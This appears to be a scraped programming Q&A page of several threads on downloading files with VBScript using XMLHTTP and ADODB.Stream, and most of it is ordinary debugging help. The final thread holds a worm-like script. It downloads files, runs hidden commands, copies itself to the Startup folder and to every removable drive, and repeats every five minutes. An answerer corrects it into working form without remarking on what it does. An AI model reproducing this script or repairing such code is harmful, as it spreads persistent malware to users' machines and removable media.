Download Empty File with VBScript - vbscript

When I'm trying to download an empty file with this script, I get the error:
Arguments are of the wrong type, are out of acceptable range or are in conflict with one another. How can I fix it?
Here is my script
Set objHTTP = CreateObject("WinHTTP.WinHttpRequest.5.1")
objHTTP.Open "GET", "http://localhost/file.txt", False
objHTTP.Send
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objHTTP.ResponseBody
.SaveToFile "C:\file.txt"
.Close
End With
Set objStream = Nothing
I have this problem only with empty files.

For an empty file, .ResponseBody is a variant of sub-type Empty. Such a beast can't be written. As you can't create an empty Byte() in VBScript, you have to skip the .Write for an empty file. In code:
Const adSaveCreateNotExist = 1 ' Default. Creates a new file if the file does not already exist
Const adSaveCreateOverWrite = 2 ' Overwrites the file with the data from the currently open Stream
' object, if the file already exists
Set objHTTP = CreateObject("WinHTTP.WinHttpRequest.5.1")
objHTTP.Open "GET", "http://gent/empty.html", False
objHttp.Send
WScript.Echo objHttp.Status, objHttp.StatusText
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
WScript.Echo TypeName(objHTTP.ResponseBody)
If Not IsEmpty(objHTTP.ResponseBody) Then .Write objHTTP.ResponseBody
.SaveToFile "file.txt", adSaveCreateOverWrite
.Close
End With
Set objStream = Nothing
output:
cscript 24512602.vbs
200 OK
Empty
...
dir
...
01.07.2014 16:54 771 24512602.vbs
01.07.2014 16:54 0 file.txt

Related

Specify path in vbs script

I've searched all over, but couldnt find any answer. I want the savetofile path to be at the desktop, regardless of username. but i get an error. I think it is about the path, that causes the error. Any tips?
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://banos.me/Despacito.mp3", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile ""C:\Users\"" & LoginName & ""\Desktop\"", 2 '//overwrite
end with
In your code you have not specified how you get LoginName.
This code works:
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
Dim objShell
Dim userPath
Set objShell = Wscript.CreateObject("Wscript.Shell")
userPath = objShell.SpecialFolders("Desktop")
filePath = userPath &"\Despacito.mp3"
xHttp.Open "GET", "http://banos.me/Despacito.mp3", False
xHttp.Send
filePath = userPath &"\Despacito.mp3"
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile filePath, 2
end with

How to solve file download path error in VBScript ?

I am running the following VBScript program, download.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://websitelink/textfile.txt", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "c:\dump.txt", 2 '//overwrite
end with
in this program, it will download the textfile from given web url and save it to local disk in the given path.
but the problem is, its working well when i change the download path to local disk d:
and showing the following error when i use local disk c: as download path.
VBScript error message,
Script: C:\test\download.vbs
Line: 10
Char: 5
Error: Write to file failed.
Code: 800A0BBC
Source: ADODB.Stream
Please help. i will be very thankfull.
If the file doesn't exist - you want to use 1 on the safetofile. You can add some code
Const AdTypeBinary = 1, AdTypeText = 2
Const FsoRead = 1, FsoWrite = 2, FsoAppend = 8
Const BstrmCreate = 1, BstrmOvrWrt = 2
dim FSO: Set FSO = CreateObject("Scripting.FileSystemObject")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://websitelink/textfile.txt", False
xHttp.Send
mysavefile = "D:\dump.txt" 'Set your save-file here
with bStrm
.type = AdTypeBinary ' YOU MAY WANT TO CHANGE FILE TYPE FOR TEXT/BINARY
.open
.write xHttp.responseBody
if ( FSO.FileExists( mysavefile ) ) then
.savetofile mysavefile, BstrmCreate
else
.savetofile mysavefile, BstrmOvrWrt
end if
end with

error 800A1C2 on my code

I have a code that is supposed to download an image from the Internet and set it as wallpaper, but it keeps saying that there is a wrong number of arguments or invalid property assignment: SaveToFile.
strUser = CreateObject("WScript.Network").UserName
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("ADODB.Stream")
xHttp.Open "GET", "https://image.spreadshirtmedia.com/image-server/v1/compositions/1009468864/views/1,width=300,height=300,version=145225706 1/anonymous-seal-t-shirts-men-s-tall-t-shirt.jpg", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.Write xHttp.responseBody
.Savetofile "C:\Users\",strUser,"\downloads", 2 '//overwrite
End With
Dim wshShell
Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("strUser")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "C:\Users\eskonr\Pictures\Nice-Windows-7.jpg"
' update in registry
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
' let the system know about the change
oShell.Run "C:\WINDOWS\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
MsgBox "done"
.SaveToFile "C:\Users\",strUser,"\downloads", 2 '//overwrite
You're trying to call .SaveToFile with 4 parameters: "C:\Users\", strUser, "\downloads", and 2, when you apparently want to build a path from the first three elements. Use the concatenation operator for that:
.SaveToFile "C:\Users\" & strUser & "\downloads", 2 '//overwrite

how to login with pop up ask for user and password batch file

Im trying to make a batch file or vbs file to download a .csv file but when i get to the website it has a popup!!(different window) that is asking to log in with user and password then i must hit the "OK" button. how do i tell the batch file to jump to the pop up and log in with the user name and password?
i found this code vbs code. but it get stuck on the pop up. and i must do it manually.
VBS CODE:
Set IE = CreateObject("InternetExplorer.Application")
IE.navigate "https://api.twilio.com/2010-04-01/Accounts/ACxxxxxx9/Calls.csv?PageSize=1000"
IE.Visible = True
While IE.Busy
WScript.Sleep 50
Wend
Set ipf = IE.document.all.UserNamer
ipf.Value ="MYUSERNAME"
Set ipf = IE.document.all.Password
ipf.Value ="MYpassword"
Set ipf = IE.document.all.submit
ipf.Click
IE.Quit
`
And tried
Set args = WScript.Arguments
'// you can get url via parameter like line below
'//Url = args.Item(0)
Url = "https://USERNAME:PASSWORD#api.twilio.com/2010-04-01/Accounts/ACfcxxxxxxxxx059/Calls.csv? PageSize=1000"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "C:\Users\jeff\Downloads"
end with
Whats the best why i can automatically download this file?
THIS IS THE WORKING FILE.
'GetRemoteBinaryFile.vbs
CSVFile = "Calls.csv"
DestFolder = "C:\Downloads"
URL = "www.itworks.com"
bstrUser= username
bstrPassword=password
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", URL, False,bstrUser,bstrPassword
xml.Send
set oStream = createobject("Adodb.Stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write xml.responseBody
' Do not overwrite an existing file
oStream.savetofile "Calls.csv", adSaveCreateNotExist
' Use this form to overwrite a file if it already exists
' oStream.savetofile DestFolder & ImageFile, adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing

vbs error end required

i'm learning vbs. and i've found this code in internet. Tried to run it but it won't start. replaced some personal data with adresssss fileeee and commandddd
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
and this code won't run?! it gives error "End expected"
Control statements have to be properly nested. So even if you add the missing conditional,
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
is illegal. If you'd use proper indentation, atrocities like the above would be obvious.
On second reading: Perhaps you meant:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
In general: The "End X" phrases must be on one line.
It seems you don't understand what you are doing. Try to get some basic understanding of VBScript. Do not use On error resume next because that will hide errors from you. Try to understand conditional statements, reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing the correct way, assign variables correctly, use function calls properly. Use Option Explicit.
This is how your script should look like (without testing it, just syntactical):
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
Note on the last comment:
You are calling the Start() function from inside the Start() function, creating a non exitable recursive loop. After a few hundreds of thousands iterations you will get a Stack overflow error. Luckily you wait 300 seconds for each iteration so it will take several years to get to that.
Better to put the first call of the Start function (outside the function itself) in a do / loop construct:
Do
Call Start()
WScript.Sleep 300000
Loop

Resources